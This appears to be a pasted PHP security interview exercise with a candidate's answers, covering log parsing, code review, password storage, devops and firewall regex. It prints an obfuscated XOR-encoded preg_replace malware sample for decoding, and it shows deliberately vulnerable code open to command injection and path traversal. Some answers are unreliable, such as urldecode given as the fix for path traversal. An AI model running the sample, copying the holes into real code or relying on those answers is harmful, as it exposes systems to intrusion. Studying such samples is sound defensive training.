· 8 years ago · Jun 04, 2018, 06:40 PM
1
2===============================================
31- PHP basics
4
5Our applications generate a lot of logs. Some times we need to write quick PHP scripts to parse them and generate simple reports. If you get a HTTP log file from one of your sites, can you do a quick PHP script to read/parse the results and generate a simple report from it? Nothing fancy, but it would need to list the total number of entries found, how many of them were errors or success (based on the HTTP return code), what files were visited more often and the most popular referers (and their %'s too).
6
7Bonus: List the top user agents (and their %'s) and try to separate any malicious request from the "good" ones.
8
9---------------------- ANSWER ------------------------------------
10Please see comments and code in
11
12https://pastebin.com/skJ6rQvd
13 or
14https://pastebin.com/raw/skJ6rQvd
15
16
17===============================================
182-PHP code analysis</h4>
19
20You are working on a specific code base and you see this entry:
21
22 if(isset($_POST['email']))
23 {
24 $email_input = trim(htmlspecialchars($_POST['email']));
25 // Run email command to notify user of account creation
26 system("/opt/app/accounts/notifynew.sh $email_input");
27 }
28
29Do you see any performance or security issue in there? Would you re-write it? Why? How?
30---------------------- ANSWERS ------------------------------------
31a) Using one of the acceptable email regex, validate $email_input that it conforms to acceptable format.
32 Examples found at http://emailregex.com/ but depends on your application's rules.
33b) Problem with using system() function to execute a bash shell script with parameters. BASH will evaluate the content of $email_input if it is an expression abd may evaluate causing unpredictable code execution.
34c) Depending where the $_POST['email'] is sourced (ie trusted front end), DOS attacks could be initiated..
35d) Depending on the rest of the code good idea to have an else condition if no email is present.
36
37
38===============================================
393-PHP decoding
40
41Some times to write code to detect malware, we also need to be able to decode them. Can you decode this piece of text and let us know what it does? What would you do to automate decoding them when parsing a PHP file?
42
43/*amOmMQfUYVN0OxwwRjomMCHT1A0KOZXoCl
442wjQHwPWkBI2lxexzlHpmH12gOgizxwrkV
45INEsONk1AEozqvfS3WJZkp8aduIDGFvOS18hDhXDmC4S
46kqvuFWaCx4x674BsHUiF2lmPoORhhF8Hws32FS
47LrxIkz1sJZxBAaQpoiNLoKTa3MR9eM1q4ozedpNmEBnFb5uG
48*/
49//miBy10TC1A7ezb8fokkqNqHIaOlZhthJ
50$IPwXsveV='p'. 'reg_replac'.'e'; $ivAqSMVn="rbjfxy6ilF1hhrbHIo3"^"\x5d\x1b\x22\x02\x283c9\x2b3y\x0c\x1b\x1a\x2e\x10\x04\x40V"; $IPwXsveV($ivAqSMVn, "P2aIsq04NK9Ymr8IIz6AuNiV8WclRl6hcVpKCoEPyDnbulj3ae4Lrchpy0RGkMnDhTNk8S1wVeNGFx0fR4r0VOpKN7QyI42qMFQKXG8skLyp9xLQr4QCH6MV2cJAWAqjF8udDrLo4AU3ygIfZZhgUu3MMBMjC3IHz3l4kwhdx3VmYeHx4pU"^"5D\x00\x25\x5bSYRf\x22J\x2a\x08\x06\x10\x15\x15\x5ei\x13\x30\x1f\x3c\x13k\x038K1\x04\x115JvVmcG\x284Ll2\x3eQ38v\x30\x30q\x1f\x268O\x13\x11\x17\x0fnKpSdO\x60\x2dX\x0a7\x05N2Wws\x7fOQ\x044V\x40UezAy\x2d\x072\x1a\x2d\x02\x0b\x14\x7eaxk\x7ea\x18\x1a\x18\x3f\x1c\x04\x11\x24\x10u\x2df\x14\x12\x 1ds\x1e\x02iD\x3a\x29\x27\x1e\x12\x05\x22\x5dR9m\x5bl\x14\x14\x24\x23R\x15O\x15\x3a\x7e\x05\x3a\x22\x04\x20v\x1e\x19\x 19j\x1a\x2bC\x16\x2b\x15W\x09\x136\x5eSD\x1dK\x3f\x19qLsXIR\x7c", "yHdPJUPGuHdshLXM");
51
52---------------------- ANSWERS ------------------------------------
53/e is a pretty bad modifier available in PHP and thankfully removed in recent versions
54a) Looks like this code is attempting to inject an XORed generated eval() expression into the target. App crashes.
55b) Run PHP file thru another PHP application to convert any \x to ascii readable format to review code.
56c) Look for indirect evaluating functions such as $IPwXsveV() in this case.
57
58=====================================================================
594-Secure Coding practices
60
61When building a authentication system, how would you store the user passwords? Let's say we have a form to create an account and that is passing the user + pass via POST:
62
63 $_POST['user']
64 $_POST['pass']
65
66<p>Now we need a function to store them securely. How would you do that function?</p>
67
68---------------------- ANSWERS ------------------------------------
69a) In this case I would use php's password_hash($_POST['pass'], PASSWORD_BCRYPT). You could salt with options but PHP does good job. This encryption will also allow non-php apps to verify a password.
70
71=====================================================================
725-Dev ops
73
74You just pushed some changes to the server and now all pages are giving a 503 (internal server error). What steps would you take to fix the error and understand what is going on?
75
76---------------------- ANSWERS ------------------------------------
77Few things depending what the result is:
78
79- Can you remote to server?
80- Use ping/traceroute to determine any issues with routers/ACL
81- Determine if redundant server is operational.
82- Check if httpd service is up. E.g. ps aux | grep -i apache (or whatever service name is in use).
83- Verify <?php phpinfo() ?> is a fail.
84- Verify static pages fail?
85- Bypass routers where possible and have direct access to server to test.
86- Review .htaccess and httpd.conf
87- Dircetory permissions ok?
88- Reboot warranted?
89- Restore to previous version warranted?
90- Other tools at your disposal such as curl and Wireshark if needed.
91
92=====================================================================
936-Code review
94
95Do you see anything wrong with this code? It was found inside a php file that we were reviewing.
96
97 if(isset($_GET['page']))
98 {
99 $_GET['page'] = htmlspecialchars($_GET['page']);
100 echo '<title>'.$_GET['page'].'</title>';
101 }
102 else
103 {
104 $_GET['page'] = "index";
105 echo '<title>Welcome to site </title>';
106 }
107
108 $content = file_get_contents("/site/content/".$_GET['page']);
109 echo htmlspecialchars($content);
110 ..
111
112If there is an issue, how would you fix it?
113
114---------------------- ANSWERS ------------------------------------
115a) htmlspecialchars() should be replaced with urldecode() function.
116b) Validate that the decoded page name is a valid OS filename. If not throw an error.
117c) Before loading file content validate that the file indeed exists or throw error. Sometimes extra slashes can screw up.
118
119
120=====================================================================
1217- Regex
122
123Say you are a firewall analyst and you need to block all access to these 3 vulnerable URLs: "/admin/scripts/vuln.php", "/admin/scripts/unsafe.php" and "/admin/lib/blocked.php" What Regex (regular expression) would you use to block it?
124
125What if you have 1,000 different paths to block? What steps would you take?
126
127---------------------- ANSWERS ------------------------------------
128^\/admin\/(scripts\/(vuln\.php|unsafe\.php)|(lib\/blocked\.php))$
129
130For the 1,000 URLs
131a) Create an in memory blacklist table using something like memcache. Update memcache as needed.